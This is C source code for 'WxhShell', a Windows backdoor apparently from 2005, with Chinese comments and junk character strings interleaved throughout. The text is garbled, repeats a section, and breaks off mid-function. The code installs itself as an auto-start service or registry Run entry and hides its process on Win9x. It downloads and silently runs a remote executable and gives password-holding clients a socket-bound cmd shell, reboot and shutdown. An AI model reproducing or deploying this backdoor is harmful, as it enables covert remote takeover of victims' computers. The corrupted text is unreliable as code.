,gmH2. DWORD AffinityMask; )\0q_a DWORD BasePriority; E=kw)<X2 ULONG UniqueProcessId; )v1CC.. ULONG InheritedFromUniqueProcessId; 's.~$ } PROCESS_BASIC_INFORMATION; `NSy"6{Z %[ /<+ PROCNTQSIP NtQueryInformationProcess; f>z`i\1oO 5oJ Dux } static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .LObOR5J7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [O_^MA,z UiIF6-ZZ! HANDLE hProcess; _f3
WRyN0 PROCESS_BASIC_INFORMATION pbi; (Y2mmd .T$D^?G!D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 13a(FG if(NULL == hInst ) return 0; [4XC#OgA @KA1"Wb_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sa9fK Z'q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |l7%l&! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4P%m>[ .*!#98pT if (!NtQueryInformationProcess) return 0; 9afh[3qm P"F{=\V1`< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jV^C19 if(!hProcess) return 0; {6O0.}q]& )o jDRJ& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hwVAXsF~ h!e2
+4{4{ CloseHandle(hProcess); x2k*|=$ BS7J#8cu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
<uD qYT$6 if(hProcess==NULL) return 0; bxwkTKr' s4$X HMODULE hMod; /.$L"u char procName[255]; (ua q<Cvg unsigned long cbNeeded; rl?7W]; s<&[\U if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TsHF
tj9S EgNH8i CloseHandle(hProcess); `c(\i$1JY) 8Z# 21X> if(strstr(procName,"services")) return 1; // 以服务启动 AIh*1>2Xn _faJ B@a_ return 0; // 注册表启动 \zu}\{ } =j~Q/-`EC0 =Ndli>x}1 // 主模块 +O+<Go@a int StartWxhshell(LPSTR lpCmdLine) `f)(Y1%. { ,w2WS\`% SOCKET wsl; b/<mRQ{ BOOL val=TRUE; [AR>?6G- int port=0; K\&o2lo] struct sockaddr_in door; .X
`C^z]+ |s=`w8p if(wscfg.ws_autoins) Install(); 8Kk\*8 < OCnFEX" port=atoi(lpCmdLine); 0E6lmz`O kH?#B%N5 if(port<=0) port=wscfg.ws_port; 9?EVQ 7>n"}8i WSADATA data; J :S'uxM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u9]1X1wV &?+WXL> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T2weAk#J setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D.*>;5:0' door.sin_family = AF_INET; eko]H!Ov( door.sin_addr.s_addr = inet_addr("127.0.0.1"); `#6x=24 door.sin_port = htons(port); U<Jt50O Zw$
OKU if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \[#t<dD closesocket(wsl); G{RTH_p return 1; fbC~WV# } M35Ax],:^ Bo
r7] # if(listen(wsl,2) == INVALID_SOCKET) { ZL_[4Y closesocket(wsl); wsnK3tM7- return 1; (oaYF+T } 6sB$<# Wxhshell(wsl); ,2`~ NPb WSACleanup(); H}nJbnU AhxGj+ return 0; C1QV[bJK mhzYz;} } "&QH6B1U6H c2<,|D| // 以NT服务方式启动 k^An97J VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) saW!9HQj { $}tjS3klr DWORD status = 0; P`"mM?u DWORD specificError = 0xfffffff; B8V,)rn C_->u4- serviceStatus.dwServiceType = SERVICE_WIN32; S%l:kKD serviceStatus.dwCurrentState = SERVICE_START_PENDING; R1%y]]*-P serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .y): Rh^ serviceStatus.dwWin32ExitCode = 0; AK2WN#u@Z serviceStatus.dwServiceSpecificExitCode = 0; n29(!10Px serviceStatus.dwCheckPoint = 0; ddDS=OfH serviceStatus.dwWaitHint = 0; NL!9U,h5| 3~%!m<1: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S_Z`so} if (hServiceStatusHandle==0) return; C;qMw-*F $<w)j! status = GetLastError(); =u|~
<zQw if (status!=NO_ERROR) 9DE)S)e8 { $1@,Qor serviceStatus.dwCurrentState = SERVICE_STOPPED; Tbf:eVIG serviceStatus.dwCheckPoint = 0; $j*Qo/xd serviceStatus.dwWaitHint = 0; \dkOK`)b serviceStatus.dwWin32ExitCode = status; Gi7RMql6Q serviceStatus.dwServiceSpecificExitCode = specificError; `# ^0cW SetServiceStatus(hServiceStatusHandle, &serviceStatus); QxpKX_@Q5 return; YYUe)j{T } #Ufo)\x 213\ehhG< serviceStatus.dwCurrentState = SERVICE_RUNNING; >Ko[Xb-8^_ serviceStatus.dwCheckPoint = 0; \=nrt? serviceStatus.dwWaitHint = 0; SY
_='9U if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &s
VadOBQ } K2ewucn WzlC*iv // 处理NT服务事件,比如:启动、停止 I>"Ci(N VOID WINAPI NTServiceHandler(DWORD fdwControl) A6p`ma $L { {a"RXa switch(fdwControl) &]iKriG { $f-hUOuyo case SERVICE_CONTROL_STOP: li/aN serviceStatus.dwWin32ExitCode = 0; ^^}Hs-{T serviceStatus.dwCurrentState = SERVICE_STOPPED; <qeCso serviceStatus.dwCheckPoint = 0; +nU.p/cK+\ serviceStatus.dwWaitHint = 0; %Fft
R1" { _T*AC. SetServiceStatus(hServiceStatusHandle, &serviceStatus); LP<<'(l` } |t6~%6^8 return; 3,6Ox45 case SERVICE_CONTROL_PAUSE: $H*/;`,\[ serviceStatus.dwCurrentState = SERVICE_PAUSED; ?L|yaC~ break; +AI`R`Tm case SERVICE_CONTROL_CONTINUE: 0I%: BT serviceStatus.dwCurrentState = SERVICE_RUNNING; `ROG~0lN( break; <avQR9'& case SERVICE_CONTROL_INTERROGATE: WS,7dz break; A 's-'8m }; nSS=%,? SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y25uU%6t_ } J8Z0D:5 LmLGki$w // 标准应用程序主函数 HL 8eD^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;j'Daupt;= { M_1;$fWq e7k%6'@ // 获取操作系统版本 O<N#M{kc. OsIsNt=GetOsVer(); VLI' GetModuleFileName(NULL,ExeFile,MAX_PATH); <P4FzK :.nRN`e // 从命令行安装 |g_g8[@`} if(strpbrk(lpCmdLine,"iI")) Install(); ja T$gAx E1*QdCV2 // 下载执行文件 7"Mk+' if(wscfg.ws_downexe) { >^SEWZ_[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9& WinExec(wscfg.ws_filenam,SW_HIDE); #oV+@D` } 4 I@p%g& ,8VU&?`<} if(!OsIsNt) { a!,r46>$H // 如果时win9x,隐藏进程并且设置为注册表启动 v 1+U;Th>g HideProc(); n WaNT- StartWxhshell(lpCmdLine); gH7z } APSgnf else >l5u54^3K if(StartFromService()) Yl({)qK{ // 以服务方式启动 o"+
i&Wp~ StartServiceCtrlDispatcher(DispatchTable); 1}g:|Q else 2<r\/-#pU // 普通方式启动 9- )qZ StartWxhshell(lpCmdLine); @*O?6> |b.z*G return 0; PCE4W^ns } *e{PxaF!C LU2waq}VA p3]Q^KFS l-O$ m =========================================== l] !B#{ 1W,(\'^R xeA#u
J bB6[Xj{ C/tr$.2H= WUoOGbA ` " ,sQ93(Vo Lp&k3?W #include <stdio.h> :qj<p3w~} #include <string.h> q,l)I+ #include <windows.h> Uems\I0 #include <winsock2.h> sqO<J$tz #include <winsvc.h> sC7/9</ #include <urlmon.h> +4)7j&L p
EusTP #pragma comment (lib, "Ws2_32.lib") Hfc"L> #pragma comment (lib, "urlmon.lib") X?Pl<l& 9F##F-%x #define MAX_USER 100 // 最大客户端连接数 46x.i;b7 #define BUF_SOCK 200 // sock buffer U
?b".hJ2 #define KEY_BUFF 255 // 输入 buffer E^V| 6|;Uq' #define REBOOT 0 // 重启 }nrXxfu #define SHUTDOWN 1 // 关机 {aOkV:: !xK=#pa #define DEF_PORT 5000 // 监听端口 eSy(~Y [kB
` #define REG_LEN 16 // 注册表键长度 <"tDAx #define SVC_LEN 80 // NT服务名长度 "@ E3MTW ?J!3j{4e // 从dll定义API !@L=;1, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ocQWQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v#oi0-9o[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3S~(:#| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9lzQ\} q{' ~+Nq // wxhshell配置信息 z@U}~TvP struct WSCFG { M\oVA=d\0 int ws_port; // 监听端口 l*}FXL char ws_passstr[REG_LEN]; // 口令
dt,3"J int ws_autoins; // 安装标记, 1=yes 0=no M]rO;^ ;6? char ws_regname[REG_LEN]; // 注册表键名 W`)<vGn=Y char ws_svcname[REG_LEN]; // 服务名 gPXa>C char ws_svcdisp[SVC_LEN]; // 服务显示名 2U$"=:Cf char ws_svcdesc[SVC_LEN]; // 服务描述信息 k&6I f0i char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2}WDw>V int ws_downexe; // 下载执行标记, 1=yes 0=no {ERMGd6Jp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1=)r@X/6d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T0QvnIaP :%4imgY` }; E3l*8F%<3 TkRP3_b // default Wxhshell configuration lxb zHlX struct WSCFG wscfg={DEF_PORT, I9
64 "xuhuanlingzhe", fg*@<' 1, OI/@3"L{ "Wxhshell", 2YBIWR8z "Wxhshell", '\7G@g?UZ "WxhShell Service", tY/vL^mi "Wrsky Windows CmdShell Service", +pmu2}E.3 "Please Input Your Password: ", Oe!6){OG) 1, L'A)6^d@S "http://www.wrsky.com/wxhshell.exe", Y "jE' "Wxhshell.exe" .zj0Jy8N }; E4%j. ^4>k%d // 消息定义模块 X9=N%GY[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K 1#ji*Tp char *msg_ws_prompt="\n\r? for help\n\r#>"; Tx>K:`oB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EtJ8^[u2J char *msg_ws_ext="\n\rExit."; Ao.\ char *msg_ws_end="\n\rQuit."; aMuVqZw char *msg_ws_boot="\n\rReboot..."; }SfbCa)UO char *msg_ws_poff="\n\rShutdown..."; 7[#xOZT char *msg_ws_down="\n\rSave to "; 8*a),
3aK pbk$o{$`W char *msg_ws_err="\n\rErr!"; l]LxL char *msg_ws_ok="\n\rOK!"; 4ne5=YY* ]7YNIS char ExeFile[MAX_PATH]; c4mh EE- int nUser = 0; |Ul,6K@f"5 HANDLE handles[MAX_USER]; vT{ kL int OsIsNt; eVz#7vqv </~ 6f(mg SERVICE_STATUS serviceStatus; c0- ;VZ' SERVICE_STATUS_HANDLE hServiceStatusHandle; d IB }_L x~DLW1I // 函数声明 MDa7 B +4 int Install(void); qYB~VE03 int Uninstall(void);
Nh!_l int DownloadFile(char *sURL, SOCKET wsh); 7(k^a)~PL int Boot(int flag); sfD5!Z9#1 void HideProc(void); &)9{HRP int GetOsVer(void); hlbvt-C?}" int Wxhshell(SOCKET wsl); WrGK \Vw[ void TalkWithClient(void *cs); TpfZ>d2 int CmdShell(SOCKET sock); Ty4S~ClO#' int StartFromService(void); WCq
/c6 D int StartWxhshell(LPSTR lpCmdLine); b~Y%gC)FR D56<fg$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N3A<:%s VOID WINAPI NTServiceHandler( DWORD fdwControl ); LEW hb!U `#s#it'y // 数据结构和表定义 ~W#sTrK SERVICE_TABLE_ENTRY DispatchTable[] = |i%2%V#
{ :' #\ {wscfg.ws_svcname, NTServiceMain}, ii|?; {NULL, NULL} s95F#>dr }; m?CZQq, 4mYCSu14:` // 自我安装 ?8V
UOx int Install(void) n.6T
OF { Xz{~3ih char svExeFile[MAX_PATH]; Gpj* V|J HKEY key; pHE}ytcT strcpy(svExeFile,ExeFile); a$11PBi[9 0HeD{TH\ // 如果是win9x系统,修改注册表设为自启动 \.{AAj^qD if(!OsIsNt) { v({N:ya if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Q"(/jm? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P7 y q^| RegCloseKey(key); X JGB)3QI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^z;JVrW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jl<ns,Zg RegCloseKey(key); lHfe<j] return 0; i\?*=\a } eTay>G } vv0Q$
O-> } x34f9!
't else { VRng=, -%c<IX>z9 // 如果是NT以上系统,安装为系统服务 }%!tT\8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^V*-1r1 if (schSCManager!=0) 0?Q_@Y { "eAy^, SC_HANDLE schService = CreateService /#LW"4;* ( #E7AmmqD% schSCManager,
=Ufr^naA wscfg.ws_svcname, Bn?V9TEoO wscfg.ws_svcdisp, zU5Hb2a SERVICE_ALL_ACCESS, u eb-2[= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CON0E~" SERVICE_AUTO_START, )Di \_/G SERVICE_ERROR_NORMAL, L5fuM]G` svExeFile, kyw/LE3$- NULL, A#h /B+ NULL, |AhF7Mj* NULL, Z?NW1m()F NULL, I~*
? d NULL (<*e ); El2e~l9 if (schService!=0) M" lg%j { 3.Gj4/f CloseServiceHandle(schService); /s:fW+C CloseServiceHandle(schSCManager); bJ /5|E? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _D7 ]-3uC! strcat(svExeFile,wscfg.ws_svcname); m#e3%150{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {D&9UZm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UL@9W6 RegCloseKey(key); s,]%dG! return 0; v;1F[?@3Y } n'FwM\ } J%C#V}z7E CloseServiceHandle(schSCManager); KDP H6 } C(T;>if0NH } C#pZw[ >ezi3Zx^ return 1; 5II(mSg8 } Ard]147 =}!Mf' // 自我卸载 #uCB)n&. int Uninstall(void) o(kM9G| { arK_oh0B HKEY key; vdDludEv sJx+8
- if(!OsIsNt) { &[mZD, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ./6<r OW RegDeleteValue(key,wscfg.ws_regname); 0C%W&;r0 RegCloseKey(key); AV8T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Hr:S":9 RegDeleteValue(key,wscfg.ws_regname); po9
9 y- RegCloseKey(key); Z)9g~g94 return 0; {XurC}#\ } BP[|nL
} ^ZDBO/ } n.oUVr=nX else { @F*wg fl\aqtF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !5@_j,lW( if (schSCManager!=0) B?rSjdY4 { bizTd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #V02hs1 if (schService!=0) d%@~mcH> { 1nknSw# if(DeleteService(schService)!=0) { {:nQl} CloseServiceHandle(schService); ,|?CU
r9Y CloseServiceHandle(schSCManager); ]q5`YB%_ return 0; 3uu~p!2 } <bck~E CloseServiceHandle(schService); [P4$Khu$ } BI?@1q}: CloseServiceHandle(schSCManager); zhI#f0c }
6M.;@t,Y } YV4#%I!< (6p]ZY return 1; #zUXyT#X } "[p@tc?5 rZPT89M6 // 从指定url下载文件 N/QiI.V6 int DownloadFile(char *sURL, SOCKET wsh) LK9g0_ { $4FX(O0Q@ HRESULT hr; 8e~|.wOL char seps[]= "/"; g?v\!/~(u char *token; ?jQ](i& char *file; :p&!RI(l char myURL[MAX_PATH]; M]v=- char myFILE[MAX_PATH]; U).*q?.z $*a'84-5G- strcpy(myURL,sURL); "<+ih0Ma token=strtok(myURL,seps); T=a=B( while(token!=NULL) d@0Kr5_ { b
IW'c_
, file=token; ~rr 4ok token=strtok(NULL,seps); hG~reVNf } ^vs=f95 ^I
mP`*X GetCurrentDirectory(MAX_PATH,myFILE); }U w&Ny strcat(myFILE, "\\"); W,@
If} strcat(myFILE, file); &5{xXWJK send(wsh,myFILE,strlen(myFILE),0); y7i %W4 send(wsh,"...",3,0); 5F|8?BkOL^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6pOx'u>h+ if(hr==S_OK) nn b8Gcr return 0; >gKh else Syp"L;H8Em return 1; 7r+g8+4 ZI;<7tF_z } hd V1nS$ P|2E2=G // 系统电源模块 %Pqk63QF int Boot(int flag) j;_c+w!P { Q zZ;Ob]' HANDLE hToken; :4S%'d7 TOKEN_PRIVILEGES tkp; pCpb;<JG 4F>Urh+ if(OsIsNt) { t&Os;x?To? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wjh/M&, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E@05e tkp.PrivilegeCount = 1; W>(/ bX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ./j,Z$| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |wEN`#.;b if(flag==REBOOT) { o'~5pS(wq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;|p$\26S)% return 0; K
]OK:hY4 } Uawpfgc} else { "N:XzG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _sE#)@p return 0; @;xMs8@ } yL^UE=#C_ } +`M!D }! else { @pI5lh if(flag==REBOOT) { f=!PllxL: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CxhY$%C (L return 0; YJS{i } oBq 49u1 else { 1pv}]&X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o~FRF0f*VP return 0; 49Df?sx } MaBYk?TR~ } UmnE@H"t$\ C.^Ven return 1; +t4BQf } j#~Jxv%n gw`B "c| // win9x进程隐藏模块 ?.c;oS| void HideProc(void) +#b:d=v! { 0c.s
- }),w1/#5u8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t&5%?QyM if ( hKernel != NULL ) be5,U\&z { {u!)y?}I- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SYeadsvF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 04%S+y.6&Y FreeLibrary(hKernel); kpbm4t } fl
Jp4-nx YJs|c\ eq? return; ~A<H9Bw
} xR"M*%{@0 =Cv/Y%DN // 获取操作系统版本 :{'k@J"|a int GetOsVer(void) U7xmC { qjJBcu_C'S OSVERSIONINFO winfo; }pkj:NT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sG~<M"znV GetVersionEx(&winfo); 'sp-%YlM - if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q'oMAM f} return 1; zL5d0_E9 else Ov-b:lH return 0; Gc.P,K/hr } 2nb:) 2RF^s.W // 客户端句柄模块 $rXh0g int Wxhshell(SOCKET wsl) B,z<%DAE { >vrxP8_
SOCKET wsh; s%iOUL2/ struct sockaddr_in client; Bb&^{7 DWORD myID; %8aC1x ,:Vm6u! while(nUser<MAX_USER) :RSz4 { EA.D}X C int nSize=sizeof(client); M,j(=hRJ/E wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zPEg if(wsh==INVALID_SOCKET) return 1; juAMAplf dX8hpQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #B'aU#$u if(handles[nUser]==0) + SZYg[ closesocket(wsh); 5_0(D;Q else @
P@c.*}s nUser++; 41#w|L
\ } %or,{mmiM: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,1q_pep~?% k^$+n_ return 0; J68j=`Y } I"AYWo? Ub0/r$]DK // 关闭 socket $(s\{(Wn void CloseIt(SOCKET wsh) J" j.'. { c8)/:xxl closesocket(wsh); |vte=)% nUser--; &"_u}I&\ ExitThread(0); `<^VR[Mx } K.C>
a:J 0.r4f'vk // 客户端请求句柄 0s#vwK13 void TalkWithClient(void *cs) }MR1^ { 7;.xc{ [w
-{r+[ SOCKET wsh=(SOCKET)cs; oMcK`%ydm char pwd[SVC_LEN]; gADmN8G= char cmd[KEY_BUFF]; sGY_{CZ: char chr[1]; k>}g\a, int i,j; rA0,`}8\
N-lGa@ j while (nUser < MAX_USER) { 6{x,*[v )PkNWj6%y if(wscfg.ws_passstr) { {qKxz9.y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eRbGZYrJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^n#1<K[E //ZeroMemory(pwd,KEY_BUFF); ]!:oYAm i=0; qo+N,x9o while(i<SVC_LEN) { &m3.h!dq BE&B}LfvfO // 设置超时 Xqp|VbDca fd_set FdRead; *fO3]+)d+ struct timeval TimeOut; 8T;IZ(s FD_ZERO(&FdRead); VS#wl|b8 FD_SET(wsh,&FdRead); QYXx:nIrg TimeOut.tv_sec=8; I~PDaZP TimeOut.tv_usec=0; {"*VU3%q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "`}~~.q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p6EDQwlf +c:3o* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Y=cn_
wU pwd=chr[0]; d
{lP if(chr[0]==0xd || chr[0]==0xa) { ?:^mBb)T pwd=0; n?#!VN3 break; Z>F^C}8f } Nd:R"
p*8 i++; \u`)kJ5o1 } :Ud[f`t +i `*lBup$ // 如果是非法用户,关闭 socket (VvKGh if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '"pd } dGZntT2D RhF>T&Q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -O:_!\uA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hlvt$Jwq |sqZ $Mu while(1) { R~L0{`
0 tc_f;S`k ZeroMemory(cmd,KEY_BUFF); p\wJD1s JnD{J`: // 自动支持客户端 telnet标准 &a> lWE j=0; y$Zj?Dd# while(j<KEY_BUFF) { t^=U*~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mIZwAKo cmd[j]=chr[0]; P`$12<\O1 if(chr[0]==0xa || chr[0]==0xd) { u#W5`sl cmd[j]=0; B UUf;Vv break; 0m[dP } \a"Ct' j++; { PlK@#UN } TGT$ >/w > UIJx* // 下载文件 x9>\(-uU if(strstr(cmd,"http://")) { '6Qy /R send(wsh,msg_ws_down,strlen(msg_ws_down),0); qg z*'_S if(DownloadFile(cmd,wsh)) NCeaL-y7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!ZyCi19 else ^jdL@#k00 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r'/;O } hVoNw6fE else { HgBJf~q~U wyc D>hc switch(cmd[0]) { )\/
=M* 2H#N{>7 // 帮助 AWr}"r?s case '?': { .;/L2Jv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S^RUw break; r2*<\ax } )9"oL!2h // 安装 :LJ7ru2 case 'i': { :bM+&EP if(Install()) `linG1mF send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8"'x)y else '3tw<k!1{. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H!r &aP break; ;uI~BV*3 } $Ptk|qFe // 卸载 4 (?MUc case 'r': { E,G<_40 if(Uninstall()) ;#?M)o:q send(wsh,msg_ws_err,strlen(msg_ws_err),0); ucYkxi`x else IxSV? k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >X}{BDMb. break; u/^|XOy } )-P!Ae_.v // 显示 wxhshell 所在路径 #5CI)4x0! case 'p': { dZ2%S''\ char svExeFile[MAX_PATH]; 7 &)])
{Q strcpy(svExeFile,"\n\r"); >O{7/)gS^ strcat(svExeFile,ExeFile); {5:Zl<0 send(wsh,svExeFile,strlen(svExeFile),0); I %_MV break; =6 %|?5G } AMlV%U# // 重启 1IH[g*f case 'b': { y%B X]~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O;XG^s@5 if(Boot(REBOOT)) w*LbH]l<- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Evu=M-? else { :Z`4j closesocket(wsh); c,5n,i ExitThread(0); $N+6h# } _."E%|5 break; ,TC~~EWq } y>o>WN<q // 关机 $%qg" case 'd': { E{^^^"z P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :xeLt; if(Boot(SHUTDOWN)) *_hLD5K! send(wsh,msg_ws_err,strlen(msg_ws_err),0); WO</Q6+ else { 2wpjU&8W! closesocket(wsh); W? ,$!]0 ExitThread(0); =V $j6 } M-9gD[m break; 6vz1*\:H~ } Q|hm1q // 获取shell -e>|kPfv! case 's': { Agy
<j
CmdShell(wsh); )^; DGzG closesocket(wsh); L@)&vn] ExitThread(0); <)#kq1b? break; %]4-{%v } \ElX~$fS // 退出 O]=C#E{ case 'x': { ?C;JJ#Ho send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D[Iqn CloseIt(wsh); u}jrfKdE break; 2"/yEg*= } 7 ^I:=qc72 // 离开 ey1Z/| case 'q': { 5{l1A(b send(wsh,msg_ws_end,strlen(msg_ws_end),0); :$H!@n*/R closesocket(wsh); k$[{n'\@ WSACleanup(); 'F_}xMU exit(1); }=@zj6AC break; T0|H9>M } ,seFkG@1 } c~tAvDX } vjK, I9 0-xCp ~vE // 提示信息 vA?_-. J if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n6f3H\/P& } #ooc)), } f'{>AKi=C 'h*Zc}Q: return; TlPVHJyt } n(&*kfk 4;<DJ.XlN= // shell模块句柄 h5onRa*7 int CmdShell(SOCKET sock) pMN<p[MB { UC!5
wVY STARTUPINFO si; |~$7X ZeroMemory(&si,sizeof(si)); hZuYdV{'h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -V=arm\#z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M\UWWb&%\ PROCESS_INFORMATION ProcessInfo; "{F;M{h$}, char cmdline[]="cmd"; 'Z[d7P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9*_uCPR return 0; 1%eLs=u? } /yYlu xH$%5@~ // 自身启动模式 T-P@u-DU int StartFromService(void) T
T"3^@ { 0xBY(#;Q typedef struct R<g =\XO'y { JuJ5qIal DWORD ExitStatus; N$Hqa^!'T DWORD PebBaseAddress; &&C~@WY,r DWORD AffinityMask; wItz cY1m DWORD BasePriority; i QqbzOY ULONG UniqueProcessId; D44I"TgqD ULONG InheritedFromUniqueProcessId; G%OpO.Wf } PROCESS_BASIC_INFORMATION; k+\7B}7F q3\!$IM. PROCNTQSIP NtQueryInformationProcess; I7Zq}Pxa kPJ~X0Fr{t static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ` u=<c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h.b+r~u hEcYpng~ HANDLE hProcess; )6G+ tU' PROCESS_BASIC_INFORMATION pbi; |Ow$n 7SHo%bA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gg+YfY_ if(NULL == hInst ) return 0; n\~yX<;X3 m|dF30~A g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
